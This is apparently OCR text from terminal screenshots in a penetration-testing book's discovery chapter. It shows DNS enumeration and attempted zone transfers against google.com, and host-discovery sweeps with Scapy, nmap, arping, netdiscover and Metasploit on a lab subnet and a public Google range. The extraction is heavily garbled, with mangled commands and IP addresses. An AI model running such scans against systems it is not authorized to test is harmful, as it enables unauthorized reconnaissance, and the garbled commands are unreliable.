.217.6.206: images.google. com
.217.6.206:1ocal.google.com
.217.6,197:mail.google.com
.217.6.206:maps . google. com
.217.6.206:mapsengine.google. com
.217.6.206:meet.google. com
.217.6.206:music.google.com
217.6.206:news. google. com
.217.6.206:photos.google. com
.217.6.206:play.google.com
.217.6.206:plus.google.com
.217.6.206:search.google. com
.217.6.286:s5ites.google. com
.217.6.206:store.google. com
.217 206:support.google.com
.217.6.206:translate.google. com
.217.6.286:video.google. com
.217.6.196:www.google.com

R R R R R e R R e R R R R - P R R
1

Virtual hosts:

drive.google

groups.google > d » msg » ... » eHid-Z1Z6mQ
groups.google » d » msg » ... » RztSAhUaal4
code.google » archive » p » ... » Tutorials.wiki
drive.google.com

groups.google.com

code.google. com

h Terminal Help
:~# host -a google.com
Trying "google.com”
;+ -»>HEADER<<- opcode: QUERY, status: NOERROR, id: 53721
7+ flags: gr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: ©, ADDITIONAL: @

;7 QUESTION SECTION:
;google. com. ANY

172.217.6.206

172.217.6.206

172.217.6.206

26087 f8b0:4006:804: :200e

"v=spfl include:_ spf.google.com -all”
ns3.google.com.

ns2.google.com

nsl.google.com.

nsd.google.com.

@ issue "symantec.com”

8 issue "pki.goog”

ns3.google.com. dns-admin.google.com. 156833029 900 968 1800 6O
10 aspmx.l.google.com.

50 alt4.aspmx.l.google.com.

20 altl.aspmx.l.google.com.

40 alt3.aspmx.l.google.com,

30 alt2.aspmx.l.google.com.

.com.
.com
.com
.com
.com.
.com.

com
2, com
.com.
.com.

com
.com
.com.
.com.
.com
.com

com

VT LI LT LT LT LN LT LT L T L Lt

ch Terminal Help
:~# host -t ns google.com

.com name server nsd.google.com.

com name server nsl.google.com.

.com name server ns3.google.com.

com name server ns2.google.com
1~




File Edit View Search Terminal Help

File Edit View Search Terminal Help
~# host google

google. com.
le.com mail
om mail

File Edit View Search Terminal Help

File Edit View Search Terminal Help
com nsl.googl -

; Transfer failed.
~# 11

File Edit View Search Terminal Help
:~# chmod 755
e
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~# dnsrecon -
Version: 8.8.18
Usage: dnsrecon.py <optionss

--help Show this help message and exit.
--domain <domain> Target domain
range <range> IP range for reverse lookup brute force in formats (first-last) or in (range/bitmask).
--name_server <names> Domain server to use. If none is given, the SDA of the target will be used.
--dictionary <file> Dictionary file of subdomain and hostnames to use for brute force
Filter out of brute force domain lookup, records that resolve to the wildcard defined
IP address when saving records.
--type <types> Type of enumeration to perform:
std SOA, NS5, A, AAAA, MX and SRV if AXRF on the NS servers fail
rvl Reverse lookup of a given CIDR or IP range
brt Brute force domains and hosts using a given dictionary
srv SRV records
axfr Test all NS servers Tor a zone transfer
goo Perform Google search for subdomains and hosts
snoop Perform cache snooping against all NS servers for a given domain, testing
all with file containing the domains, file given with -D option.
td Remove the TLD of given domain and test against all TLDs registered in IANA.
zonewalk Perform a DNSSEC zone walk using NSEC records.
Perform AXFR with standard enumeration.
Perform a reverse lookup of IPv4 ranges in the SPF record with standard enumeration.
Perform Google enumeration with standard enumeration.
Perform deep whois record analysis and reverse lookup of IP ranges found through
Whois when doing a standard enumeration.
- Performs a DNSSEC zone walk with standard enumeration.
--threads <number>  Number of threads to use in reverse lookups, forward leokups, brute force and SRV
record enumeration.
--lifetime <number>  Time to wait for a server to response to a query.
--db <file> SQLite 3 file to save found records
--xml <file> XML file to save found records.
--iw Continue brute forcing a domain even if a wildcard records are discovered.
-C, =-CSV <file> Comma separated value file.
-3, --ison <file> JSON file
-v Show attempts in the brute force modes

View
:~# dnsrecon -d google.com
[*] Performing General Enumeration of Domain: google.com
DNSSEC is not configured for google.com
| S50A nsl.google.com 216.239.32.10
1 NS nsd.google.com 216.239.38.18
| NS nsl.google.com 216.239.32.10
| NS ns2.google.com 216.239.34.10
| NS ns3.google.com 216.239.36.10
1 MX aspmx.l.google.com 173.194.68.27
] MX altd.aspmx.l.google.com 173.194.69.27
| MX altl.aspmx.l.google.com 64.233.190.27
1 MX alt2.aspmx.l.google.com 269.85.203.27
] MX alt3.aspmx.l.google.com 74.125.148.27
| A google.com 172.217.3.14
| TXT google.com v=spfl include: spf.google.com -all
] Enumerating SRV Records
| SRV ldap. tecp.google.com ldap.google.com 216.239.32.58 389 0
| SRV _xmpp-server._tcp.google.com xmpp-server.l.google.com 269.85.201.125 5269
1 SRV _xmpp-server. tcp.google.com alt2.xmpp-server.l.google.com 209.85.203.125
1 SRV _xmpp-server. tcp.google.com alt3.xmpp-server.l.google.com 74.125.133.125
| SRV _xmpp-server._tcp.google.com alt4.xmpp-server.l.google.com 74.125.128.125
*] SRV _xmpp-server. tcp.google.com altl.xmpp-server.l.google.com 64.233.190.125
*] SRV _jabber. tcp.google.com altd.xmpp-server.l.google.com 74.125.128.125 5269
1 jabber. tcp.google.com alt3.xmpp-server.l.google.com 74.125.133.125 5269
1 jabber. tcp.google.com xmpp-server.l.google.com 209.85.201.125 5269 0
| jabber. tcp.google.com altl.xmpp-server.l.google.com 64.233.190.125 5269
1 jabber. tcp.google.com alt2.xmpp-server.l.google.com 269.85.203.125 5269
| xmpp-client. tcp.google.com alt3.xmpp.l.google.com 74.125.133.125 5222 @
1 xmpp-client. tcp.google.com xmpp.l.google.com 209.85.201.125 5222 @
1 xmpp-client. tcp.google.com alt2.xmpp.l.google.com 209.85.283.125 5222 @
] xmpp-client. tcp.google.com altd.xmpp.l.google.com 74.125.128.125 5222 @
] xmpp-client. tcp.google.com altl.xmpp.l.google.com 64.233.196.135 5222 @
1 jabber-client. tcp.google.com alt3.xmpp.l.google.com 74.125.133.125 5222
] jabber-client. tcp.google.com altl.xmpp.l.google.com 64.233.190.125 5222
] jabber-client. tcp.google.com altd.xmpp.\.google.com 74,125,128,125 5222
1 jabber-client. tcp.google.com xmpp.l.google.com 289.85.2081.125 5222 6
] jabber-client._ tcp.google.com alt2.xmpp.l.google.com 209.85.203.125 5222
]

*] 21 Records Found




File Edit View Search Terminal Help

:~# dnsrecon -r 216.239.34.00- .239.34.50
[*] Reverse Look-up of a Range
[*] Performing Reverse Lookup from 216. .34.0 to 216.239.34.50
* PTR ns2.google.com 216.239.34.

PTR any-in-220f.1el00.net 216. .34.15

PTR any-in-2215.1el00.net 216. .34.21

PTR any-in-2216.1el00.net 216. .34.22

PTR any-in-2217.1el00.net 216. .34.23

PTR any-in-221a.1el00.net 216. .34.26

PTR any-in-2228.1el00.net 216. .34.40
7 Records Found

= |

File Edit View Search Terminal Help
:~# dnsrecon -d google.com -a
Performing General Enumeration of Domain: google.com
Checking for Zone Transfer for google.com name servers
Resolving SOA Record
SOA ns3.google.com 216.239.36.10
Resolving NS Records
NS Servers found:
NS ns4.google.com 216.239.38.10
NS nsl.google.com 216.239.32.10
NS ns2.google.com 216.239.34.10
NS ns3.google.com 216.239.36.10
Removing any duplicate NS server IP Addresses...

Trying NS server 216.239.36.10
216.239.36.10 Has port 53 TCP Open
Zone Transfer Failed!

No answer or RRset not for gname

*] Trying NS server 216.239.34.10

*] 216.239.34.10 Has port 53 TCP Open
Zone Transfer Failed!
No answer or RRset not for gname

Trying NS server 216.239.32.10

[*] 216.239.32.10 Has port 53 TCP Open
Zone Transfer Failed!
No answer or RRset not for gname

Trying NS server 216.239.38.10
[*] 216.239.38.10 Has port 53 TCP Open
Zone Transfer Failed!
No answer or RRset not for gname
Checking for Zone Transfer for google.com name servers
Resolving SOA Record
SOA ns3.google.com 216.239.36.10

Resolving NS Records
NS Servers found:

NS ns4.google.com 216.239.38.10

NS nsl.google.com 216.239.32.10

NS ns2.google.com 216.239.34.10
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File Edit View Search Terminal Help
:~# dnsenum -
dnsenum.pl ¥

N e brute force - vitch is obligatory.
GENERAL OPTION:
--dnsserver
r for A, NS
ut option equivalent to --

Print this help mess
Skip the r
Di e A

lues in seconds (default:
e number of threads tha L perform diff
verbose: nd all

number of google
the default is 5 pag
The maximum numbe

--file ile Read subdomains from this file to perform brute force.
--update <a|g|r|z>
1] cified with the -f switch with valid subd

Update using r
Update using reverse lookup results.
using g 1ts

r .
Recursion on brute force all discovred subdomains that ve an NS record.

imum 5 i twee eries, the value is defined randomly, default
the u 2
arning**: can gen and it will take lot of time to performe r e look

- -exclude
Exclude PTR records that match the expression from reverse lookup results, useful on invalid hostnam
OUTPUT OPTION:
--outpl iles Qutput in XML format. Can be imported in MagicTree (www.gremwell.com)

=1 |
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:~# dnsenum google.
dnsenum.pl VERSION:1.2.3

google.com.

altd.aspmx.l.google

al x.1.google.com.
x.1.google.com.

Trying Zone Transfer for google 0
AXFR record query failed: corrupt packet

ying Zone Tra r for goog m on ns2.googl
AXFR record query failed: corrupt packet

Transfer for .com on nsl.google.com ...
query failed rrupt packet

brute force file not specified, b
= |

[52]



File Edit View Search Terminal Help
nsenum -f / subdomains/subdomains pop r 1088 -r google.com

t3.asp i
.l.google.

Trying Zone er for google
AXFR record query fail corrupt pac

Trying Zone Tra r for googl m on ns4.google.com ...
query failed: corrupt packet

rying Zone er for google.com on ns2.google.
AXFR record query fai packet

Trying Zone Transfer for le.com on nsl.google.
(FR record query fail corrupt packet
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goog
google.
google. co

1.google.com.
eb.google m
.46
il.google.com.
.google. com.
7.0.

A
CNAME

A
CNAME
A

A
CNAME
A

A
IAME

5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
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File

Edit View Search Terminal

Checking subdomains

Recursion 1 11

ion on corp
gle.com.

.google.

om.

Help

com ...

5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
=

CNAME
A
CNAME
CNAME
CNAME
A
CNAME
A
CNAME
A
CNAME
A
CNAME
A
CNAME
CNAME
A
CNAME
A
CNAME
A
CNAME
A
CNAME
A
CNAME
A
CNAME
CNAME
A

N AME

uberproxy.
209.85
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Chapter 3: Discovery

File Edit View Search Terminal

Py
te found for IPve
t import python ecdsa 1ib. D

Help

INFO: Can

WARNING: Combined 5

ilable for IP

ault route?)
manipulation too
(pycrypto 2.7al required).

File Edt View Search Terminal Help

arp_request = ARP()
arp request.pd
rp_request.di

2.16.69.128"

File Edit View Search Terminal Help

srl{arp_request)

Begin emission:
*Finished to send 1 packets.

|<

Received 1 packets, got 1 answers, remaining @ packets

File Edit View Search Terminal Help
srl(ARP(pdst="172.16.69.128"))
Begin emission:

*Finished to send 1 packets.

|<

Received 1 packets, got 1 answers, remaining O packets
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arp request.pdst *172.16.69.140"
srl{arp request,timeout=1)
Begin emission:
...WARNING: Mac address to reach destination not found. Using broadcast.

Finished to send 1 packets.

Received 24 packets, got @ answers, remaining 1 packets

File Edit View Search Terminal Help
arp_request,pdst = "172.16.69,128"
response= (arp_request, timeout=1)

Begin emissio

*Finished to send 1 packets.

Received 1 packets, got 1 answers, remaining @ packets
» response.display()
#i# | JE

File Edit View Search Terminal Help
] .farp_disc.py
Usage - ./arp disc.py [interface]
Example - ./arp_disc.py eth@
Example will perform an ARP scan of the local subnet to which eth® is assigned

File Edit View Search Terminal Help
t . /arp disc.py eth@

Broadcast ARP 42 who has 172.16.36.17 Tell 172.16.36.67
Vmware_fd:01:05 ARP 60 172.16.36.1 1s at 00:50:56:c0:00:08
Broadcast ARP 42 Who has 172.16.36.27? Tell 172.16.36.67
Vmware_fd:01:05 ARP 60 172.16.36.2 1s at 00:50:56:ff:2a:8e
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:~# . Jarp dis y eth@ > output.txt
:~# cat outpu

File Edit View 5Search Terminal Help

i~# vim iplist.txt
:~# nano iplist.txtl]

File Edit View Search Terminal Help
:~# cat iplist.txt
.69.1
.69.5
.128
129
.130
131
.132
.201
.254

= |

File Edit View Search Terminal Help
~# ./arp_disc.py -

J/arp disc.py [interface]

./arp_disc.py iplist.txt

File Edit View Search Terminal Help
:~# ./arp disc.py iplist.txt
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File Edit View Search Terminal Help
Jfarp disc.py iplist.txt > output.txt
cat output.txt

File Edit View Search Terminal Help
ip = IP()
ip.display()
1###

File Edit View Search Terminal Help
ip.dst = "172.16.69.128"
ip.display()

H##| R
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File Edit View Search Terminal Help
ping = ICMP()
ping.display()

#i##[ 1 ###

File Edit View Search Terminal Help
ping_request = (ip/ping)
ping request.display()

#H#(] J###
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File Edit View Search Terminal Help
ping reply = srl(ping request)
Begin emission:

.Finished to send 1 packets.
*

Received 2 packets, got 1 answers, remaining @ packets
ping reply.display()
H#i## [ 1dHE#

File Edit View Search Terminal Help

ip.dst = "172.16.69.145"
ping request (ip/ping)
ping_reply = srl(ping_request)
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.

. oG
Received 266 packets, got @ answers, remaining 1 packets

File Edit View Search Terminal Help
ping reply = srl(ping request, timeout=1)
Begin emission:
. WARNING: Mac address to reach destimation not found. Using broadcast.
Finished to send 1 packets.

Received 25 packets, got O answers, remaining 1 packets
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File Edit View Search Terminal Help
answer = srl{IP(dst="172.16.69.128")/ICMP(), timeout=1)
Begin emission:

Finished to send 1 packets.
*

Received 1 packets, got 1 answers, remaining @ packets
answer.display()
H#i## [ 14HE#

File Edit View Search Terminal Help

answer = srl(IP(dst="172.16.69.245")/ICMP(), timeout=1)
Begin emission:
. . WARNING: Mac address to reach destination not found. Using broadcast.
to send 1 packets.

Received 44 packets, got 0 answers, remaining 1 packets
>>> answer.display()
Traceback (most recent call last):
File "<console line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'display’

File Edit View Search Terminal Help
i~# ./pinger.py
./pinger.py [/24 network address]
- ./pinger.py 172.16.36.0
i form an ICMP scan of the 172.16.36.0/24 range
inger.py 172.16.69.0
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File Edit View Search Terminal Help
i~# ./pinger.py 172.16.69.0 > output.txt
:~# cat output.txt
.69.1
.69.128
.69.129

.69.130

.69.131
.69.132

~#

File Edit View Search Terminal Help
:~# ./pinger.py
nger.py [filename]

File Edit View Search Terminal Help
:~# ./pinger.py iplist.txt > output.txt
:~# cat output.txt
.69.1
.69.128
.69.130

.69.131
.69.132

~# 1
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File Edit View Search Terminal Help

i.dst="172.16.69.128"
> 1.display()
H##| |###

File Edit View Search Terminal Help
t = TCP()

>>> t.display()

## | ##
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File Edit View Search Terminal Help
>>> request = (i/t)

>>> request.display()

##4

src= 172.16.69.1
dst= 172.16.69.1
A\

#2#|

33
28

File Edit View Search Terminal Help
>>> response = srl(request)

Begin emission:

.Finished to send 1 packets.

*

Received 2 packets, got 1 answers, remaining @ packets
>>> response.display()
###( 1#

sre= 172.16.69.128
dst= 172.16.69.133

A\
##|




File Edit View Search Terminal Help
response = sr1(IP(dst="172.16.69.128")/TCP(flags="A"))

Begin emission:

Finished to send 1 packets.

*

Received 1 packets, got 1 answers, remaining @ packets
response.display()

H#i## [ 14HE#
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File Edit View Search Terminal Help

>>> response = sr1(IP(dst="172.16.69.128")/TCP(dport=1111,flags="'A"))
Begin emission:

.Finished to send 1 packets.

*

Received 2 packets, got 1 answers, remaining @ packets

>>> response.display()

H#i## [ 14HE#

sre= 172.16.69.128
dst= 172.16.69.133
A\

H#H

File Edit View Search Terminal Help

>>> response = srl(IP(dst="172.16.69.145")/TCP(dport=80,flags="A"}),timeout=1)

Begin emission:
WARNING: Mac address to reach destination not found.
Finished to send 1 packets.

Received 25 packets, got 0 answers, remaining 1 packets

File Edit View Search Terminal Help

i~# ./ACK_Ping.py

Usage - ./ACK Ping.py [/24 network address]

Example - ./ACK Ping.py 172.16.36.8

Example will perform a TCP ACK ping scan of the 172.16.36.0/24 range
:~# ./ACK Ping.py 172.16.69.0

172.16.36.1

172.16.36.128

172.16.36.1360

172.16.36.131

172.16.36.132

~# ]

Using broadcast.




File Edit View Search Terminal Help
i IP()
i.dst = "172.16.69.128"
u = UDP()
request = (i/u)
.display()
#

#H

H

4
-
(1]
o
[

File Edit View Search Terminal Help

> reply = srl(request,timeout=1,verbose=1)
Begin emission:

Finished to send 1 packets.

Received 9 packets, got @ answers, remaining 1 packets
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File Edit View Search Terminal Help

> u.dport 123

> request = (i/u)

> reply = srl(request,timeout=1,verbose=1)
Begin emission:
Finished to send 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
>>> reply.display()
#i#( I

sre= 172.16.69.128
dst= 172.16.69,133
A\ A\

###( ###

File Edit Search Terminal Help
# nmap 172.16.69.128 -sn

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-07 08:42 EST

Nmap scan report for 172.16.69.128

Host is up (0.00025s latency).

MAC Address: 00:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
#




File Edit View Search Terminal

¢ nmap 172.16.

Help

Starting Nmap 7.406 ( https://nmap.o

rg ) at 2017-02-07 08:43 EST
down. If it is really up, but blocking our ping probes, try
1 IP address (0 hosts up) scanned in 0.41 seconds

Note: Host seem
Nmap done:

-Pn

File Edit View Search Terminal Help

:~# nmap 172.16.69.8-255 -sn

Starting Nmap 7.40 ( https://nmap.org ) at 2017-82-07 08:44 EST
Nmap scan report for 172.16.69.1
(0.00015s latency)
00:50:56
1 report for 172.

Nmap sc
Host is

(VMware)
.254

(VMware)
133

hosts up) scanned in 27.47 seconds

File Edit View Search Terminal

:~# nmap

Help
iplist.txt -sn

Starting Nmap 7.40 ( https://nmap.org ) at 2017-82-07 08:46 EST
Nmap scan report for 172.16.69.1
(0.00069s latency)
00:50:56 01
1 report for 172.

Host is 4

00:0C

port for

00:0C:29:B5:90: (VMware)
ort for 172.16.69.133

(8 hosts up) scanned in 26.63 seconds

p
Nmap done: 8 IP addres
#
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File Edit View Search Terminal Help
:~# nmap -sn 74.125.21.0-255

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-07 08:58 EST
scan repo fn| 74.125.21.0

t is up (0.0012s latency
scan report for 74.125.
t is up (0.0013s latency)
scan report for 74.125
is up (0.6012s latency
scan report for 74.125.21.
is up (08.€012s latency).
scan report for 74.125.21.
is up (0.8012s latency).
ap scan report for 74.125.21.
is up (0.0013s latency).
D scan report for 74.
up (0.8034s latency).
s report for 74.125.21.
is up (@.8037s latency).
p sC report for 74.125.21.
is up (0.000826s latency).
0 scan report for in-f14.1el00,.net (74.125.21.14)
is up (8.033s latency).
p scan report for 74.125.21.15
is up (0.0037s late
scan report for yv- in-16.1e100.net (74.125,21,16)
is up (@.835s latency).
scan report for yv-in-f17.1el00.net (74.125.21.17)
t is up (@.835s latency).

No. Destination Protocol ' Inf
498 Broadcast ARP who has 172.16.36.102? Tell 172.16.36.232
499 Broadcast ARP who has 172.16.36.125? Tell 172.16.36.232
500 Broadcast ARP who has 172.16.36.163? Tell 172.16.36.232
501 Broadcast ARP who has 172.16.36.164? Tell 172.16.36.232
502 Broadcast ARP who has 172.16.36.1967 Tell 172.16.36.232
503 Broadcast ARP who has 172.16.36.317 Tell 172.16.36.232

File Edit View Search Terminal Help
:~# nmap -sn 172.16.69.128

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-07 08:59 EST
Nmap scan report for 172. 16.69.128

Host is up (0.06019s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
Ha I
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File Edit View Search Terminal Help

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-07 09:00 EST
ET] for 172.16.69.1

is up . s latency).

scan report for 172.16.69.

eport for 172.16.69.
(0.8019s latency
ort for 172.16.69.
(0.06020s latency)
ort for 172.16.6
.8021s latenc)
ort for 172.16.69.
.0021s latency).
eport for 172.16.69.

repo

is up (08.6023s latency).

scan report for 172.16.69.

is up .8023s latency).
ap scan report for 172.16.69.

is up (0.0838s latency).

scan report for 172.16.69.

is up (@.8039s latency).

n report for 172.16.69.

s up (8.0859s latency).
scan report for 172.16.69.
is up (8.8063s latency
scan report for 172.16.69.

1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A @ DERE Qa+«» Jen=|=aaqaqF

~| Expression. +

No. Time Source Destination Protocol Length Info =

172.16.69.2

(ping)
(ping) req
(ping) requ
(ping) requ
(ping) reques
req

reques

1
111
19 4

Frame 1: 42 bytes on wire (336 bits),
Ethernet 1I, Src: Vmware_2d:7c:18 (00
Internet Protocol Version 4, Src: 192
Internet Control Message Protocol

' vmware_ff:94:dd (00:50:56:ff:94:dd)
172.16.69.2

00 50 56 ff 94 dd 00 oc 29 2d 7c 1
00 1c fc ce 0O 00 29 01 9e dS c@ aB 44 82 ac 10 en
45 B2 08 00 17 9c el 63 00 DO E . -

¥ wireshark_eth0_20170207090402_yBdQTZ Packets: 707 - Displayed: 707 (100.0%) Profile: Default
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Search Terminal Help

:~# cat iplist.txt
.1

.128

.129

.130

.131

.132

.133

.135

e |

File Edit rch Terminal Help
:~# nmap -il iplist.txt -sn

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-07 09:05 EST
scan report for 172.16.69.1
is up (0.60056s latency).
scan report for 172.16.69.128
is up (©.€0031s latency).
scan report for 172.16.69.129
is up (0.00016s latency).
scan report for 172.16.69.
is up (0.60042s latency).
scan report for 172.16.69.
is up (0.06836s latency).
scan report for 172.16.69.
is up (0.80032s latency).
scan report for 172.16.69.
is up (B.000B69s latency).
scan report for 172.16.69.
is up (0.80062s latency).
done: 8 IP addresses (8 hosts up) scanned in 0.03 seconds

16.69.128 -PUS3 -sn

Starting Nmap 7.48 ( https://nmap.org ) at 2017-82-87 09:11 EST

Nmap scan report for 172.16.69.128

Host is up (©.00028s latency).

MAC Address: 80:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds
:~# nmap 172.16.69.0-255 -PUS3 -sn

Starting Nmap 7.46 ( https://nmap.org ) at 2017-82-07 89:13 EST

Nmap scan report for 172.16.69.1

Host is up (0.08018s latency).

MAC Address: 00:50:56:(0:00:01 (VMware)

Nmap scan report for 172.16.69.128

Host is up (0.80014s latency).

MAC Address: 80:0C:29:96:81:F2 (VMware)

Nmap scan report for 172.16.69.129

Host is up (0.008016s latency).

MAC Address: 80:0C:29:94:63:4B (VMware)

Nmap scan report for 172.16.69.130

Host is up (0.00018s latency).

MAC Address: 080:0C:29:EB:A5:BA (VMware)

Nmap scan report for 172.16.69.131

Host is up (0.00018s latency).

MAC Address: 00:0C:29:97:29:02 (VMware)

Nmap scan report for 172.16.69.132

Host is up (0.08026s latency).

MAC Address: 00:0C:29:9E:F9:15 (VMware)

Nmap scan report for 172.16.69.135

Host is up (0.00019s latency).

MAC Address: 00:0C:29:B5:90:73 (VMware)

Nmap scan report for 172.16.69.254

Host is up (6.88015s latency).

MAC Address: 00:50:56:E0:A4:BE (VMware)

Nmap scan report for 172.16.69.133

Host is up.

Nmap done: 256 IP addresses (9 hosts up) scanned in 27.66 seconds
H




Terminal Help
:~# nmap -il iplist.txt -PUS3 -sn

Starting Nmap 7.48 ( https://nmap.org ) at 2017-82-87 09:14 EST
Nmap scan report for 172.16.69.1

Host is up (0.08013s latency).

MAC Address: 80:50:56:C0:00:01 (VMware)
Nmap scan report for 172.16.69.128

Host is up (0.00029s latency).

MAC Address: 080:0C:29:96:81:F2 (VMware)
Nmap scan report for 172.16.69.129

Host is up (0.00038s latency).

MAC Address: 00:0C:29:94:63:4B (VMware)
Nmap scan report for 172.16.69.130

Host is up (0.00016s latency).

MAC Address: 80:0C:29:EB:A5:8A (VMware)
Nmap scan report for 172.16.69.131

Host is up (0.008015s latency).

MAC Address: 00:0C:29:97:29:02 (VMware)
Nmap scan report for 172.16.69.132

Host is up (0.00028s latency).

MAC Address: 00:0C:29:9E:F9:15 (VMware)
Nmap scan report for 172.16.69.135

Host is up (0.00028s latency).

MAC Address: 80:0C:29:B5:908:73 (VMware)
Nmap scan report for 172.16.69.133

Host is up.

Nmap done: 8 IP addresses (8 hosts up) scanned in 26.83 seconds

1

Vi Search Terminal Help
~# nmap 172.16.69.128 -PAB@ -sn

Starting Nmap 7.48 ( https://nmap.org ) at 2017-82-87 09:15 EST

Nmap scan report for 172.16.69.128

Host is up (0.008038s latency).

MAC Address: 80:0C:29:96:81:F2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
-#

Terminal Help

:~# nmap 172.16.69.08-255 -PAB® -sn

Starting Nmap 7.48 ( https://nmap.org ) at 2017-82-07 09:16 EST

Nmap scan report for 172,16.69.1

Host is up (8.880817s latency).

MAC Address: 080:50:56:C0:00:01 (VMware)

Nmap scan report for 172.16.69.128

Host is up (0.08021s latency).

MAC Address: ©8:0C:29:96:81:F2 (VMware)

Nmap scan report for 172.16.69.129

Host is up (0.008017s latency).

MAC Address: 80:0C:29:94:63:4B (VMware)

Nmap scan report for 172,16.69.130

Host is up (0.08028s latency).

MAC Address: 00:0C:29:EB:A5:BA (VMware)

Nmap scan report for 172.16.69.131

Host is up (0.08028s latency).

MAC Address: 80:0C:29:97:29:02 (VMware)

Nmap scan report for 172.16.69.132

Host is up (0.008019s latency).

MAC Address: 80:0C:29:9E:F9:15 (VMware)

Nmap scan report for 172,16.69.135

Host is up (0.00016s latency).

MAC Address: 00:0C:29:B5:90:73 (VMware)

Nmap scan report for 172.16.69.254

Host is up (0.088012s latency).

MAC Address: 00:50:56:E0:A4:BE (VMware)

Nmap scan report for 172.16.69.133

Host is up.

Nmap done: 256 IP addresses (9 hosts up) scanned in 27.96 seconds
:~# nmap -il iplist.txt -PA8S® -sn

Starting Nmap 7.4@ ( https://nmap.org ) at 2017-02-87 09:17 EST
Nmap scan report for 172.16.69.1

Host is up (0.08018s latency).

MAC Address: 80:50:56:C0:00:01 (VMware)
Nmap scan report for 172.16.69.128

Host is up (0.00024s latency).

MAC Address: 80:0C:29:96:81:F2 (VMware)
Nmap scan report for 172.16.69.129

Host is up (0.008019s latency).

MAC Address: 00:0C:29:94:63:4B (VMware)
Nmap scan report for 172.16.69.130

Host is up (0.08816s latency).




File Edit View Search Terminal Help

ARPING 172.16.60.1

68 bytes from 80 96:8 ( : time=15.259 msec

tra)

File Edit View Search Terminal Help

:~# arping 172.16.69.145 -c 1
ARPING 172.16.69.145
Timeout

-- 172.16.69.145 statistics ---
1 packets transmitted, © packets received, 106% unanswered (0 extr:

File Edit View Search Terminal Help
~#
s from O

File Edit View Search Terminal Help
:~# arping -c
bytes from @0 29

I-I?||1

File Edit View Search Terminal Help

ti
from" |

from" | cut

| arep "by from" | cut -

File Edit View Search Terminal Help
: Jarping.sh
ping.sh [interface]
a ./arping.sh eth®
Example will perform an ARP scan of the local subnet to which eth® is assigned
-# ./arping.sh ethe

.128

130
132
J131
.135
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File Edit View Search Terminal Help
:~# ./arping.sh eth® > output.txt
:~# cat output.txt

File Edit View Search Terminal Help
:~# ./arping.sh
ping.sh [input file]
.Jarping.sh iplist.txt
Example will perform an ARP scan of all IP addresses defined in
iplist.txt
:~# ./arping.sh iplist.txt

72.16.69.130

File Edit View Search Terminal Help
:~# ./arping.sh iplist.txt > output.txt
H cat output.txt

File Edit View Search Terminal Help
:~# netdiscover -r 172.16.69. -

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View: Unique Hosts

7 Captured ARP Reg/Rep packets, from 7 hosts. Total size: 420
IP MAC Address Count MAC Vendor / Hostname

VMware, Inc.
VMware, Inc.

VMware, Inc.
VMware, Inc.
VMware, Inc.
VMware, Inc.
VMware, Inc.
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File Edit View Search Terminal Help
i~# netdiscover -1 iplist.txtl]

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View: Unigque Hosts

ured ARP Req/Rep packets, from 7 hosts. Total size: 420

At MAC Addre Count MAC Vendor / Hostname

File Edit View Search Terminal Help
:~# netdiscover

File Edit View Search Terminal Help
:~# msfconsole

ploit!

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro Learn more on http://rapid7.com/metasploit

ME 1 V 13 _|=-_ ]

[ 1613 exploits - 915 auxiliary - ]
- 39 encoders - ] |

[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

sf > use auxiliary/scanner/discovery/arp sweep
st auxiliary( )
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File Edit View Search Terminal Help
msf auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/arp sweep):

Name r ing Required Descr

INTERFACE ame of the interface

RHOSTS ) The target address range or CIDR identifier
SHOST No Source IP Address

SMAC Source MAC Address

THREADS The number of concurrent threads

TIMEOUT The number of seconds to wait for new data

msf auxiliary(

File Edit View Search Terminal Help

msf auxiliary( ) » ifconfig eth®
[*] exec: ifconfig etho

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.69.133 netmask 255.255.255.0 broadca
inet6 fedl e2d:7¢19 prefixlen 64
ether 0c:29:2d 9 txgueuelen 1000 (Ether
kets 9687 bytes 1395789 (1.3 MiB)
RX errors dropped @ overruns @ frame ©
TX packets 13463 bytes 954535 (932.1 KiB)
TX errors 0 dropped 0 overruns © carrier 8 collisions 0

msf auxiliary(

File Edit View Search Terminal Help

msf auxiliary( > interface eth@
interface => et

msf auxi r RHOSTS 172.16.69.
172.16.69.

iliary( ) > set SHOST 172.16.69.133

SMAC 00:0c:29:2d:7c:19

THREADS 260

msf auxiliary( } > set TIMEOUT 1
TIMEOUT => 1
msf auxiliary(

File Edit View Search Terminal Help

msf auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/arp sweep):
Name Current Setting Required Description

INTERFACE ethe The name of the interface

RHOSTS 172.16.69.0/24 yes The target addr range or CIDR identifier
SHOST 172.16.69.133 N Source IP Address

SMAC 00:0c:29:2d : | Source MAC Address

THREADS 20 The number of concurrent threads

TIMEOUT 1 The number of seconds to wait for new data

msf auxiliary(
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File Edit View Search Terminal Help
auxiliary( } > run

172.16.69.1 appears to be up (VMware, Inc.).
172.16.69.128 appears to be up (VMware, Inc.)
172.16.69.129 appears to be up (VMware, Inc.).
172.16.69.130 appears to up

172.16.69.131 appears to be up (

172.16.69.132 appears to up (

172.16.69.254 appears to be up (VMware
